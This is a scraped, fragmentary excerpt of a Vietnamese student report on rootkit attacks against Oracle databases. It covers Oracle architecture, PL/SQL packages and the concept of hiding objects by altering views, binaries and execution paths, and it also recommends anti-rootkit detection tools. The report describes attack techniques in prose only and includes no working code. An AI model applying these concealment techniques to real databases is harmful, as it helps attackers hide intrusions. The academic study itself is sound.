http://www.majorgeeks.com/Panda_Anti-Rootkit_d5457.html - Chương trình thứ hai mà đề nghị bạn nên sử dụng BlackLight http://www.f-secure.com/blacklight/ Panda Anti-Rootkit BlackLight có khả phát hầu hết rootkit mà chương trình chống virus bỏ qua Tuy nhiên hai chương trình thực hoàn hảo nên tốt bạn nên dùng hai chương trình - Nếu bạn người sử dụng máy tính có kinh nghiệm, bạn nên thử dùng RootkitRevealer SysInternals tải http://www.microsoft.com/technet/sys tRevealer.mspx Phần mềm có dung lượng 231KB, shareware (dùng chung), chạy tất phiên Windows Chương trình sử dụng kĩ thuật khác hoàn toàn với Panda AntiRootkit BlackLight, bạn nên sử dụng chương trình để có lực tối đa việc tìm diệt rootkit máy tính - Người dùng kinh nghiệm nên dùng GMER (http://www.gmer.net/, miễn phí, chạy Windows NT/ 2K/XP/Vista, dung lượng 450KB Bạn nên đọc tài liệu hướng dẫn kĩ trước sử dụng Sản phẩm tốt dành cho tất người Do đó, bạn người khoái nhấn nút "scan" nên dùng Panda Anti-Rootkit BlackLight ) - Hiện hai số phần mềm mạnh mẽ chiến phát rootkit sản phẩm có nguồn gốc Trung Quốc IceSword (http://majorgeeks.com/Icesword_d5199.html, miễn phí, tương thích Windows NT/2K/XP, dung lượng 2.1MB) DarkSpy (http://www.softpedia.com/get/Antivir -Rootkit.shtml, miễn phí, chạy Windows 2K/XP/2003, dung lượng 626KB) Các chương trình có công cụ giúp "điểm mặt" rootkit 45 Tấn công Rootkit Oracle Kết luận hướng phát triển -Kết luận : Qua trình tìm hiểu thực đề tài, chúng em nhận thấy Rootkit có nguy bảo mật nguy hiểm Hiểu biết cách phòng tránh Rootkit vô quan trọng tránh tổn thất to lớn Chúng em tìm, dịch đọc hiểu khái niệm Rootkit thực demo Rootkit Oracle… Do thời gian có hạn, hoàn thành chúng em nhận thấy có nhiều thứ cần bổ sung, tìm hiểu sâu để hoàn thiện đề tài: Cần tạo đoạn mã độc virus thực nhúng rootkit vào để hoàn thiện từ khâu công chiếm quyền Root đến lấy thông tin xóa dấu vết Tìm hiểu sâu phương pháp phát diệt Rootkit hiệu quả, dễ sử dụng -Hướng phát triển : Trong tương lai chúng em có hướng phát triển cho đề tài sau : Tự viết code để tạo đoạn mã độc có nhúng Rootkit để thực ba giai đoạn nêu Tìm hiểu sâu hướng phát triển Rootkit phương pháp phát hiện, diệt Rootkit 46 Tấn công Rootkit Oracle Tài liệu tham khảo Alexander Kornbrust (2006), Oracle Rootkit 2.0, Black Hat 2006 USA Nguyễn Bá Thạch, Rootkit – Nghiên cứu ứng dụng, Đồ án tốt nghiệp đại học trường Đại học Bách Khoa Hà Nội Greg Hoglund, James Butler, Rootkits: Subverting the Windows Kernel, Addison Wesley Professional, July 22, 2005 Ric Vieler, Professional Rootkits, Wrox Press 2007 Mark E Russinovich, David A Solomon, Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server™ 2003, Windows XP, and Windows 2000, Microsoft Press, December 08, 2004 Art Baker,Jerry Lozano, The Windows 2000 Device Driver Book, A Guide for Programmers, Second Edition, Prentice Hall PTR James Butler et al., HIDDEN PROCESSES: The Implication for Intrusion Detection, Proceedings of the 2003 IEEE Workshop on Information Assurance United States Military Academy, West Point, NY, June, 2003 HD vuonchuoi (Theo kAmIkAzE), “[Rootkit] Tìm hiểu Rootkit”, Blogspot, truy cập ngày 01 tháng năm 2015, http://rootbiez.blogspot.com/2009/06/rootkit-tim-hieu-ve-rootkit.html ………………………………………………………………… 47 [...].. .Tấn công Rootkit Oracle Chương 2 : Tấn công Rootkit trong Oracle 2.1 Tổng quan Oracle Oracle server là một hệ thống quản trị cơ sở dữ liệu đối tượng quan hệ cho phép quản lý thông tin một cách toàn diện Oracle server bao gồm hai thành phần chính là Oracle instance và Oracle database 2.1.1 Oracle instance Oracle instance bao gồm một cất trúc bộ nhớ System... cũng như thông tin về các tiến trình có liên quan tới hoạt động của user trong DB Và tìm hiểu một số PL/SQL package sẵn có của Oracle được sử dụng cho việc tấn công của attacker 19 Tấn công Rootkit Oracle 2.2.1 Tìm hiểu 1 số data dictionary view DBA_JOBS View dba_jobs lưu thông tin về tất cả jobs trong database Thông tin về các cột trong view này: Column Job Comments Xác định một job Không thay đổi nó... thời điểm chạy 2.2 Tấn công Rootkit trong Oracle Oracle database và OS khá tương đồng với nhau về mặt cấu trúc Cả database và OS đều có user, process, Job, executable và symbolic link Vì vậy, hacker có thể lợi dụng sự tương đồng này để triển khai các rootkit cũng như các mã độc khác như virus từ phạm vi của OS sang lãnh địa của Oracle database Một số tương đồng về command và object giữa Oracle và OS*Nix... 11 Tấn công Rootkit Oracle Oracle thực hiện cấp phát vùng không gian lưu trữ một cách linh hoạt mỗi khi các extents cấp phát đã sử dụng hết - Các cấu trúc vật lý khác: ngoài ra, Oracle Server còn sử dụng các file khác để lưu trữ thoogn tin Các file đó bao gồm: + Parameter file : parameter file chỉ ra các tham số được sử dụng trong database Người quản trị database có thể sửa đổi một vài thông tin có trong. .. và lưu trữ ở dạng PL/SQL sau đó được Oracle chuyển đổi thành ngôn ngữ C ở thời điểm chạy Ở chế độ interpret, biên dịch PL/SQL nhanh hơn nhưng việc thực thi code chậm hơn so với native compilation Native compilation có mặt đầu tiên trong phiên bản Oracle 9iR1 và được cải tiến trong 10gR1 Nó chuyển PL/SQL thành C ngay tại thời điểm biên dịch Điều 18 Tấn công Rootkit Oracle này giúp việc thực thi nhanh... 8 Tấn công Rootkit Oracle Background process (các tiến trình nền) thực hiện các chwucs năng thay cho lời gọi tiến trình xử lý tương ứng Nó điều khiển vào ra, cung cấp các cơ chế xử lý song song nâng cao hiệu quả và độ tin cậy 2.1.2 Oracle Database Oracle database được xem xét dưới hai góc độ cấu trúc logic và cấu trúc vật lý Oracle database được xác định bởi tên một tên duy nhất và được quy định trong. .. các cấu trúc 10 Tấn công Rootkit Oracle - - - - nhwu table, view, sequences, stored procedure, synonyms, indexes, cluters và database links Data Blocks, Extents and Segment: Oracle điều khiển không gian lưu trữ trên đĩa cứng theo các cấu trúc logic bao gồm cá data blocks, extents và segment Oracle Data Blocks là mức phân cấp logic thấp nhất, các dữ liệu của Oracle database được lưu trữ trong các data... dynamic SQL và dynamic PL/SQL từ ben trong chương trình PL/SQL Dynamic có nghĩa là các câu lệnh SQL trong package sử dụng những tham số chưa được trong chương trình Chugns là các 25 Tấn công Rootkit Oracle chuỗi ký tự được xây dựng tại thời điểm chạy và sau đó được đưa vào SQL engine để thực hiện package dbms_sql cho phép thực hiện những hành động là không thể trong chương trình PL/SQL bao gồm: - Executre... đổi Binary Sau đó, coppy binary đã edit vào file ban đầu 32 Tấn công Rootkit Oracle 2.2.4.2 Thay đổi đường dẫn thực thi Đối với việc thay đổi đường dẫn thực thi, điều mà chúng ta quan tâm là cách thức DB oracle phân giải tên các object được truy vẫn như thế nào Trong rootkit OS, đường dẫn tới các lệnh *NIX như: ps, who, top bị sẽ bị thay đổi trong database, một phiên bản bị Trojan sẽ được giọ thay vì... dbms_metadata của Oracle để lấy mã nguồn (DDL) này Thực tế Oracle đưa ra package dbms_metadata nhằm làm đơn giản hóa một số công việc trong database mà cần phải trích (extract) thông tin về các table, index từ Oracle và chueyenr chúng sang hệ thống khác Việc trích DDL của các schema object từ dictionary sẽ rất hữu ích khi phải chuyển sang hệ thống mới và muốn có lại cá object đó trong tablespace miows Oracle

Ngày đăng: 26/06/2016, 08:37

Từ khóa liên quan

Mục lục

  • Mục Lục

  • Lời nói đầu

  • Danh mục hình ảnh

  • Chương 1. Tổng quan về Rootkit

    • 1.1: Hiểu biết chung về mã độc hại (Malware)

    • 1.2. Khái niệm Rootkit

      • 1.2.1. Lịch sử Rootkit

      • 1.2.2. Định nghĩa

      • 1.3. Cách thức hoạt động của Rootkit

        • 1.3.1. Chiếm quyền điều khiển

        • 1.3.2. Kỹ thuật Hooking

        • 1.4. Phân loại Rootkit

          • 1.4.1. User-mode rootkit và kernel-mode rootkit

          • 1.4.2. Persistent và non-persistent rootkit

          • Chương 2 : Tấn công Rootkit trong Oracle

            • 2.1. Tổng quan Oracle

              • 2.1.1. Oracle instance

              • 2.1.2. Oracle Database

              • 2.1.3. Data dictionary view

              • 2.1.4. Oracle dynamic performance view

              • 2.1.5. Oracle privilege

              • 2.1.6. Tài khoản Sys

              • 2.1.7. Tài khoản System

              • 2.1.8. PL/SQL và một số khái niệm

                • 2.1.8.1. Anonymous Block

                • 2.1.8.2. Procedure và Functions

                • 2.1.8.3. Package

Tài liệu cùng người dùng

Tài liệu liên quan